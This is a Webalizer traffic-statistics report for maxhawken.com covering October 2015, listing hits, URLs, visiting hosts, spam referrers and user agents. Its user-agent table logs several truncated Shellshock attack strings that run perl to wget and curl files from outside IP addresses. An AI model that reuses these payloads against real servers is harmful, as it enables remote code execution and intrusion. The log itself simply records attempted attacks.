Usage Statistics for maxhawken.com

Summary Period: October 2015
Generated 01-Nov-2015 02:20 EST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for October 2015
Total Hits 716
Total Files 354
Total Pages 517
Total Visits 315
Total KBytes 2823
Total Unique Sites 287
Total Unique URLs 7
Total Unique Referrers 86
Total Unique User Agents 139
. Avg Max
Hits per Hour 0 30
Hits per Day 23 76
Files per Day 11 59
Pages per Day 16 62
Sites per Day 9 23
Visits per Day 10 26
KBytes per Day 91 476
Hits by Response Code
Code 200 - OK 49.44% 354
Code 304 - Not Modified 0.70% 5
Code 400 - Bad Request 2.93% 21
Code 404 - Not Found 46.23% 331
Code 405 - Method Not Allowed 0.56% 4
Code 408 - Request Timeout 0.14% 1

Daily usage for October 2015

Daily Statistics for October 2015
Day Hits Files Pages Visits Sites KBytes
1 46 6.42% 12 3.39% 24 4.64% 16 5.08% 21 7.32% 144 5.11%
2 13 1.82% 7 1.98% 10 1.93% 10 3.17% 13 4.53% 28 0.98%
3 41 5.73% 13 3.67% 34 6.58% 14 4.44% 16 5.57% 128 4.53%
4 7 0.98% 6 1.69% 6 1.16% 6 1.90% 7 2.44% 6 0.21%
5 12 1.68% 8 2.26% 11 2.13% 9 2.86% 10 3.48% 45 1.59%
6 26 3.63% 10 2.82% 10 1.93% 6 1.90% 10 3.48% 19 0.66%
7 13 1.82% 8 2.26% 9 1.74% 9 2.86% 11 3.83% 129 4.56%
8 20 2.79% 12 3.39% 15 2.90% 15 4.76% 16 5.57% 126 4.47%
9 10 1.40% 4 1.13% 5 0.97% 5 1.59% 6 2.09% 16 0.56%
10 14 1.96% 12 3.39% 13 2.51% 12 3.81% 11 3.83% 82 2.90%
11 9 1.26% 5 1.41% 5 0.97% 4 1.27% 5 1.74% 7 0.26%
12 5 0.70% 2 0.56% 3 0.58% 3 0.95% 4 1.39% 3 0.12%
13 12 1.68% 8 2.26% 8 1.55% 7 2.22% 9 3.14% 11 0.37%
14 46 6.42% 14 3.95% 35 6.77% 16 5.08% 20 6.97% 139 4.93%
15 20 2.79% 15 4.24% 17 3.29% 9 2.86% 11 3.83% 111 3.93%
16 76 10.61% 59 16.67% 62 11.99% 26 8.25% 23 8.01% 476 16.87%
17 20 2.79% 14 3.95% 14 2.71% 13 4.13% 15 5.23% 43 1.52%
18 30 4.19% 3 0.85% 24 4.64% 5 1.59% 6 2.09% 16 0.58%
19 20 2.79% 7 1.98% 11 2.13% 11 3.49% 12 4.18% 22 0.80%
20 12 1.68% 8 2.26% 8 1.55% 6 1.90% 8 2.79% 36 1.29%
21 18 2.51% 12 3.39% 14 2.71% 12 3.81% 15 5.23% 32 1.13%
22 13 1.82% 6 1.69% 9 1.74% 8 2.54% 9 3.14% 128 4.52%
23 8 1.12% 4 1.13% 4 0.77% 4 1.27% 5 1.74% 14 0.51%
24 22 3.07% 3 0.85% 19 3.68% 4 1.27% 7 2.44% 12 0.42%
25 7 0.98% 5 1.41% 7 1.35% 5 1.59% 5 1.74% 6 0.21%
26 72 10.06% 12 3.39% 47 9.09% 10 3.17% 16 5.57% 352 12.48%
27 10 1.40% 8 2.26% 9 1.74% 9 2.86% 10 3.48% 18 0.63%
28 15 2.09% 12 3.39% 13 2.51% 13 4.13% 12 4.18% 83 2.95%
29 22 3.07% 15 4.24% 16 3.09% 14 4.44% 15 5.23% 261 9.25%
30 20 2.79% 9 2.54% 11 2.13% 11 3.49% 12 4.18% 46 1.63%
31 57 7.96% 41 11.58% 44 8.51% 23 7.30% 23 8.01% 283 10.03%

Hourly usage for October 2015

Hourly Statistics for October 2015
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 1 39 5.45% 0 15 4.24% 1 34 6.58% 3 88 3.10%
1 0 19 2.65% 0 11 3.11% 0 12 2.32% 7 214 7.56%
2 1 35 4.89% 0 24 6.78% 0 26 5.03% 7 228 8.09%
3 0 22 3.07% 0 11 3.11% 0 16 3.09% 1 23 0.82%
4 0 24 3.35% 0 16 4.52% 0 18 3.48% 6 191 6.76%
5 0 10 1.40% 0 3 0.85% 0 5 0.97% 1 24 0.84%
6 1 41 5.73% 0 30 8.47% 1 32 6.19% 3 106 3.76%
7 0 24 3.35% 0 12 3.39% 0 17 3.29% 5 154 5.44%
8 1 36 5.03% 0 10 2.82% 0 30 5.80% 1 32 1.12%
9 2 67 9.36% 0 23 6.50% 1 57 11.03% 9 268 9.49%
10 1 36 5.03% 0 19 5.37% 0 22 4.26% 6 190 6.75%
11 0 24 3.35% 0 18 5.08% 0 19 3.68% 6 193 6.82%
12 0 23 3.21% 0 11 3.11% 0 13 2.51% 1 43 1.52%
13 1 34 4.75% 0 15 4.24% 0 17 3.29% 5 145 5.14%
14 1 44 6.15% 0 25 7.06% 1 31 6.00% 4 127 4.50%
15 0 21 2.93% 0 4 1.13% 0 20 3.87% 4 131 4.63%
16 1 55 7.68% 0 14 3.95% 1 40 7.74% 3 85 3.02%
17 0 19 2.65% 0 10 2.82% 0 11 2.13% 5 169 5.98%
18 0 22 3.07% 0 14 3.95% 0 16 3.09% 3 96 3.40%
19 0 30 4.19% 0 19 5.37% 0 19 3.68% 3 83 2.94%
20 0 26 3.63% 0 19 5.37% 0 21 4.06% 2 65 2.32%
21 0 20 2.79% 0 12 3.39% 0 15 2.90% 3 85 3.00%
22 0 29 4.05% 0 12 3.39% 0 17 3.29% 2 63 2.25%
23 0 16 2.23% 0 7 1.98% 0 9 1.74% 1 21 0.73%

Top 7 of 7 Total URLs
# Hits KBytes URL
1 210 29.33% 210 7.45% /
2 136 18.99% 1318 46.70% /webalizer/
3 6 0.84% 615 21.78% /webalizer/usage_201409.html
4 3 0.42% 314 11.12% /image001.jpg
5 2 0.28% 201 7.12% /webalizer/usage_201510.html
6 1 0.14% 1 0.04% /httpheader.net
7 1 0.14% 0 0.00% /icons/apache_pb.gif

Top 7 of 7 Total URLs By KBytes
# Hits KBytes URL
1 136 18.99% 1318 46.70% /webalizer/
2 6 0.84% 615 21.78% /webalizer/usage_201409.html
3 3 0.42% 314 11.12% /image001.jpg
4 210 29.33% 210 7.45% /
5 2 0.28% 201 7.12% /webalizer/usage_201510.html
6 1 0.14% 1 0.04% /httpheader.net
7 1 0.14% 0 0.00% /icons/apache_pb.gif

Top 4 of 4 Total Entry Pages
# Hits Visits URL
1 210 29.33% 195 71.43% /
2 136 18.99% 71 26.01% /webalizer/
3 6 0.84% 6 2.20% /webalizer/usage_201409.html
4 2 0.28% 1 0.37% /webalizer/usage_201510.html

Top 4 of 4 Total Exit Pages
# Hits Visits URL
1 210 29.33% 190 70.90% /
2 136 18.99% 71 26.49% /webalizer/
3 6 0.84% 6 2.24% /webalizer/usage_201409.html
4 2 0.28% 1 0.37% /webalizer/usage_201510.html

Top 30 of 287 Total Sites
# Hits Files KBytes Visits Hostname
1 80 11.17% 80 22.60% 776 27.47% 16 5.08% 31.184.238.11
2 30 4.19% 1 0.28% 15 0.54% 1 0.32% euve5628.vserver.de
3 23 3.21% 1 0.28% 12 0.42% 1 0.32% 173-10-16-170-busname-utah.ut.hfc.comcastbusiness.net
4 20 2.79% 1 0.28% 10 0.36% 1 0.32% fixed-189-206-125.iusacell.net
5 20 2.79% 1 0.28% 10 0.36% 1 0.32% windycitytv.com
6 16 2.23% 1 0.28% 8 0.30% 1 0.32% avc86-1-78-202-22-29.fbx.proxad.net
7 13 1.82% 1 0.28% 7 0.24% 1 0.32% 61.250.94.86
8 12 1.68% 1 0.28% 6 0.23% 1 0.32% 92.59.64.40
9 10 1.40% 10 2.82% 11 0.38% 5 1.59% researchscan.comsys.rwth-aachen.de
10 9 1.26% 0 0.00% 4 0.15% 0 0.00% 203.157.129.30
11 9 1.26% 4 1.13% 7 0.24% 1 0.32% census8.shodan.io
12 7 0.98% 0 0.00% 3 0.12% 1 0.32% p4024-ipngn100204daianjibetu.nara.ocn.ne.jp
13 6 0.84% 0 0.00% 3 0.10% 0 0.00% 185.default.location
14 6 0.84% 0 0.00% 3 0.10% 1 0.32% 5.0c.c1ad.ip4.static.sl-reverse.com
15 6 0.84% 0 0.00% 3 0.10% 1 0.32% 5.8.66.78
16 6 0.84% 0 0.00% 3 0.10% 0 0.00% lasvegas-nv-datacenter.com
17 6 0.84% 3 0.85% 5 0.17% 3 0.95% spider-141-8-143-138.yandex.com
18 6 0.84% 3 0.85% 5 0.17% 3 0.95% spider-141-8-143-182.yandex.com
19 6 0.84% 0 0.00% 3 0.10% 0 0.00% static-host202.200-3-184.pilar-ciudad.com.ar
20 5 0.70% 5 1.41% 48 1.72% 5 1.59% 176.98.70.163
21 5 0.70% 0 0.00% 2 0.09% 0 0.00% 21.subnet118-98-104.astinet.telkom.net.id
22 5 0.70% 0 0.00% 0 0.00% 0 0.00% orion2370.startdedicated.com
23 4 0.56% 4 1.13% 39 1.37% 3 0.95% 117.177.243.43
24 4 0.56% 0 0.00% 2 0.07% 1 0.32% 141.96.28.31.interra.ru
25 4 0.56% 4 1.13% 4 0.15% 2 0.63% 178235021096.gliwice.vectranet.pl
26 4 0.56% 0 0.00% 2 0.07% 0 0.00% 62-210-88-201.rev.poneytelecom.eu
27 4 0.56% 2 0.56% 3 0.11% 1 0.32% 69.58.178.58
28 4 0.56% 2 0.56% 3 0.11% 2 0.63% crawl-66-249-65-30.googlebot.com
29 4 0.56% 3 0.85% 4 0.13% 3 0.95% hosted-by.leaseweb.com
30 4 0.56% 0 0.00% 1 0.05% 4 1.27% researchscan319.eecs.umich.edu

Top 10 of 287 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 80 11.17% 80 22.60% 776 27.47% 16 5.08% 31.184.238.11
2 3 0.42% 3 0.85% 211 7.46% 2 0.63% sol-fttb.26.125.119.46.sovam.net.ua
3 3 0.42% 2 0.56% 106 3.76% 1 0.32% 124-169-131-5.dyn.iinet.net.au
4 3 0.42% 2 0.56% 106 3.76% 1 0.32% crawl-66-249-65-72.googlebot.com
5 2 0.28% 1 0.28% 105 3.72% 0 0.00% 38.100.120.10
6 1 0.14% 1 0.28% 102 3.63% 1 0.32% 119.6.144.74
7 1 0.14% 1 0.28% 102 3.63% 1 0.32% 122.96.59.106
8 1 0.14% 1 0.28% 102 3.63% 1 0.32% 182.162.141.7
9 1 0.14% 1 0.28% 102 3.63% 1 0.32% 183.239.167.122
10 1 0.14% 1 0.28% 102 3.63% 1 0.32% 183.239.173.138

Top 30 of 86 Total Referrers
# Hits Referrer
1 542 75.70% - (Direct Request)
2 10 1.40% http://caratepat.com/psoriasis-treatments/
3 5 0.70% http://completehydraulics.com/treat-symptoms-home/
4 5 0.70% http://localhardwoodfloorslosangeles.com/treat-symptoms-home/
5 5 0.70% http://masiadencabanyes.cat/psoriasis-scalp/
6 5 0.70% http://masiadencabanyes.cat/treat-symptoms-home/
7 5 0.70% http://masiadencabanyes.cat/treating-psoriasis/
8 5 0.70% http://masiadencabanyes.cat/treatment-options/
9 5 0.70% http://nisantasibetul.com/treatments/
10 5 0.70% http://redi.it/treat-symptoms-home/
11 5 0.70% http://redi.it/treatment-of-psoriasis/
12 5 0.70% http://www.sferazero.com/about-psoriasis/
13 5 0.70% http://www.sferazero.com/psoriasis-scalp/
14 5 0.70% http://www.sferazero.com/psoriasis-treatments/
15 5 0.70% http://www.sferazero.com/scalp-psoriasis/
16 5 0.70% http://www.sferazero.com/treatments/
17 3 0.42% http://pazdrav.com/s_dobrim_utrom.html
18 2 0.28% http://hundejo.com/
19 2 0.28% http://pazdrav.com/30-po-imenam.html
20 2 0.28% http://pazdrav.com/35-po-imenam.html
21 2 0.28% http://pazdrav.com/50-po-imenam.html
22 1 0.14% MAXHAWKEN.COM
23 1 0.14% http://alonamoda.ru/shop/bluzki
24 1 0.14% http://am-systems.ru/
25 1 0.14% http://burger-imperia.com/
26 1 0.14% http://chary-vostoka.ru/maslyanyie-duhi
27 1 0.14% http://comprare-levitra.org/
28 1 0.14% http://e-tb.kiev.ua
29 1 0.14% http://energetik178.ru/
30 1 0.14% http://evackuator.ru/

Top 15 of 139 Total User Agents
# Hits User Agent
1 59 8.24% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -O /dev/null http://www.test
2 57 7.96% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
3 43 6.01% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget 46.105.96.205/TEST231;curl 4
4 20 2.79% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget 79.99.248.2/TEST231;curl 79.
5 20 2.79% Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
6 15 2.09% Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3
7 15 2.09% Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; GT-I9500 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko)Version/4.0 MQQBrow
8 15 2.09% Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
9 12 1.68% Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari
10 12 1.68% Mozilla/5.0 zgrab/0.x
11 10 1.40% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
12 10 1.40% Scanning for research (researchscan.comsys.rwth-aachen.de)
13 7 0.98% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget 91.203.5.164/TEST231;curl 91
14 7 0.98% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
15 6 0.84% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Usage by Country for October 2015

Top 27 of 27 Total Countries
# Hits Files KBytes Country
1 280 39.11% 200 56.50% 2033 72.02% Unresolved/Unknown
2 189 26.40% 82 23.16% 262 9.27% Commercial (com)
3 85 11.87% 20 5.65% 85 3.01% Network (net)
4 43 6.01% 14 3.95% 29 1.03% Germany
5 17 2.37% 8 2.26% 12 0.41% Educational (edu)
6 12 1.68% 1 0.28% 6 0.23% European Union
7 12 1.68% 5 1.41% 9 0.31% British Indian Ocean Territory
8 10 1.40% 1 0.28% 14 0.50% Russian Federation
9 8 1.12% 1 0.28% 13 0.45% Brazil
10 8 1.12% 4 1.13% 6 0.22% Poland
11 7 0.98% 0 0.00% 3 0.12% Japan
12 6 0.84% 0 0.00% 3 0.10% Argentina
13 5 0.70% 0 0.00% 2 0.09% Indonesia
14 4 0.56% 4 1.13% 12 0.42% Non-Profit (org)
15 4 0.56% 2 0.56% 3 0.11% Seychelles
16 4 0.56% 4 1.13% 212 7.50% Ukraine
17 3 0.42% 2 0.56% 106 3.76% Australia
18 3 0.42% 1 0.28% 2 0.07% Israel
19 3 0.42% 0 0.00% 1 0.05% Turkey
20 3 0.42% 0 0.00% 1 0.05% Taiwan
21 2 0.28% 0 0.00% 1 0.03% Generic TLD (info)
22 2 0.28% 1 0.28% 2 0.06% China
23 2 0.28% 2 0.56% 2 0.08% Luxembourg
24 1 0.14% 1 0.28% 1 0.04% Generic Business (biz)
25 1 0.14% 1 0.28% 1 0.04% Professional (pro)
26 1 0.14% 0 0.00% 0 0.02% Colombia
27 1 0.14% 0 0.00% 0 0.02% Soviet Union


Generated by Webalizer Version 2.20